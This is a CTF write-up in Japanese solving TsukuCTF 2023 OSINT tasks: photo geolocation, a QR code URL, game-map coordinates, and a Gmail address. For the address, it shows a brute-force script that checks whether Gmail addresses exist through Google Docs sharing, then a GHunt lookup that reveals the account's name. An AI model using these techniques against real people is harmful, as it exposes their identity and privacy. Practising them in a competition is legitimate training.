正規表現クロスワードが書かれた紙らしきものを撮影した写真が与えられる。Twitterで「正規表現 クロスワード」を検索し、メディア欄を眺めるとおそらく同一の紙ナプキンを撮影したポストが見つかる。会津大学の学食にあったらしい。「会津大学 学食 クロスワード」で検索するとねとらぼの記事が見つかる。

2013年9月ごろから作られ、会津大学のほかにも筑波大学・はこだて未来大学・カリフォルニア大学・九州大学などにこれまで置かれているそう。

と設置された大学の名前が挙げられていたり、色々新しい情報は得られたものの、

取材によってナプキンの正体は明らかになってしまいましたが、そこはあえて公開せず!

ちなみに、このナプキンを考案した“あるところ”によると、…

とその正体が伏せられている。主に大学に設置しているということから、おそらく採用関連のキャンペーンだろうと推測する。

会津大学 ナプキン」で検索すると、このクロスワードを解いてその解答を公開している記事がヒットする。nowhere.co.jp は株式会社Eyes, JAPANのドメイン名だ。もちろん、会社情報に本社の所在地も書かれている。

TsukuCTF23{965-0872}

[OSINT 484] flower_bed (42 solves)

花壇の先にQRコードのキューブがあるようですね。友人曰く、モニュメントの近くに配置されているものらしいです。 こちらのQRコードが示すURLを教えてください! リダイレクト前のURLでお願いします!

Flagの形式は TsukuCTF23{URL} です。例えば、https://sechack365.nict.go.jp がURLなら、 TsukuCTF23{https://sechack365.nict.go.jp} が答えになります。

It looks there is a cube of QR code. My friend says it is placed near the monument. What is the URL which the QR code specifies. Please answer the URL before the redirection.

The flag format is TsukuCTF23{URL} . For example, if the URL is https://sechack365.nict.go.jp, the answer is TsukuCTF23{https://sechack365.nict.go.jp} .

花壇を撮った写真が与えられている。問題のQRコードはこれだ。無理やり読めるかもしれないが、これはOSINTカテゴリの問題であるから、まずはそれっぽいアプローチを試す。

QRコードの周辺に書かれている文字列で検索したい。"prefectual civil hall and" でググると福岡のPrefectural Civic Hall and Honorary Guest Houseがヒットする。この英語の施設名で検索すると、Google Mapsで旧福岡県公会堂貴賓館が出てきた。そのWebサイトのURLは https://www.fukuokaken-kihinkan.jp だけれども、スラッシュを付けても外しても通らない。「リダイレクト前のURLでお願いします」とわざわざ問題文で書いていることから、たとえばQRコードにかかれているURLはHTTPであり、HTTPSへのリダイレクトが走るのではないかと考える。いけた。

TsukuCTF23{http://www.fukuokaken-kihinkan.jp}

[OSINT 488] grass_court (36 solves)

しばらく使われていないテニスコートのようだ。 この日本にあるテニスコートの場所はどこだろう。 フラグの形式は TsukuCTF23{緯度_経度}です。 小数点以下5位を切り捨てて、小数点以下4桁で答えてください。

Looks like a tennis court that hasn't been used for a while. Where is the location of this tennis court in Japan? The format of the flag is TsukuCTF23{latitude_longitude}. Round down to 5 decimal places and submit your answer to 4 decimal places.

テニスコートとその周囲を撮影した写真が与えられる。特徴的な箇所を見ていく。謎のキャラクターがいる。

大きなパラボラアンテナがある。

しかも少なくとも2基も。

1基が上を向いている様子を見て、これは電波望遠鏡なのではないかと考える。日本の電波望遠鏡一覧という大変ありがたいWikipediaの記事がある。Google Mapsでひとつひとつ見ていく。野辺山にはテニスコートはあるものの、状況が一致しない。水沢は風の又三郎テニスコートというものがある。これは与えられた写真と状況が合っているだろうかと考えつつ、適当にストリートビューを見てみようとピンを刺してみたところ、先程特徴的だと言っていたキャラクターがいた。ここだ。

TsukuCTF23{39.1350_141.1324}

[OSINT 491] fiction (32 solves)

「座標を教えてくれ」 フラグフォーマットは、TsukuCTF23{緯度_経度}です。 小数点以下5位を切り捨てて、小数点以下4桁で答えてください。

"Give me the coordinates." The flag format is TsukuCTF23{latitude_longitude}. Round down to 5 decimal places and submit your answer to 4 decimal places.

FPSのゲーム中で家を撮ったであろうスクリーンショットが与えられる。Google Lensに投げると、VALORANTというゲームのサンセットというマップだとわかる。このゲームではどこかのタイミングでマップのそれっぽい緯度・経度が表示されるらしい。「valorant sunset coordinates」で検索すると 34° 2' C" N, 118° 12' YT" W とわかる。適当にwikiのページを眺めていると、34°2'2" N 118°12'16" W という記述があった。

TsukuCTF23{34.0338_-118.2044}

[OSINT 498] hunter (16 solves)

名前をメールで聞こうとしたところ、相手のGmailの一部が分からなくなってしまいました。 大変お忙しいところ恐縮ですが、暇なときに調査してください。 qeinijo#iby#@gmail.com # が不明な部分です。 なお、外部サービスに短期間で多くのアクセスをしないようにしてください。

I tried to email you to ask for the name, but I lost track of part of the person's Gmail. I apologize for the inconvenience, but please investigate in your space time. qeinijo#iby#@gmail.com # is the part I don't understand. Please avoid accessing many external services in a short period of time."

Google Docsでドキュメントの共有時にGmailのメールアドレスを共有先として入力すると、そのメールアドレスが有効であるかどうかを確認できるテクニックがある。たとえば、次のように黄色いアイコンが表示されている場合は、そのGmailのメールアドレスは存在しない。また、この確認時に、スペース区切りで複数のメールアドレスを含む文字列をペーストすると、それらすべてをまとめて確認してくれる。

Gmailでは英文字と数字、それからピリオドが使用できる。不明な文字は2文字だけなので、ブルートフォースは現実的だ。次のようなスクリプトで雑にメールアドレスの候補を生成する。

import itertools
import string
table = string.digits + string.ascii_lowercase + '.'
for c in table:
    t = []
    for d in table:
        t.append(f'qeinijo{c}iby{d}@gmail.com')
    print(' '.join(t))

いい感じに間隔を空けつつ試す。qeinijo.iby8@gmail.com が当たりだった。

Googleアカウントの情報収集といえばGHuntだ。このメールアドレスの情報を確認してみると、名前がフラグだった。

$ python3 main.py email qeinijo.iby8@gmail.com

     .d8888b.  888    888                   888
    d88P  Y88b 888    888                   888
    888    888 888    888                   888
    888        8888888888 888  888 88888b.  888888
    888  88888 888    888 888  888 888 "88b 888
    888    888 888    888 888  888 888  888 888
    Y88b  d88P 888    888 Y88b 888 888  888 Y88b.
     "Y8888P88 888    888  "Y88888 888  888  "Y888 v2

             By: mxrch (🐦 @mxrchreborn)
       Support my work on GitHub Sponsors ! 💖

[+] Authenticated !

[!] You have this person in these containers :
- Profile
- Contact

🙋 Google Account data

Name : TsukuCTF23{GHun7_i5_u5efu1}
…
TsukuCTF23{GHun7_i5_u5efu1}

*1:ルール上チームの上限人数は98人と定められていた。名前はすごいことになっているが、参加していたメンバーは3名だった

*2:チーム名はptr-yudaiさんが乱数で決めていた

*3:上野動物園のオグロプレーリードッグがわちゃわちゃしているところが好きなので

*4:document.cookieを直接参照すればよいのだけれども、こっちの方がhttpOnlyがついていようがいなかろうが関係なく通るのでこうした

*5:大阪市の市章はみおつくし

*6:もふもふ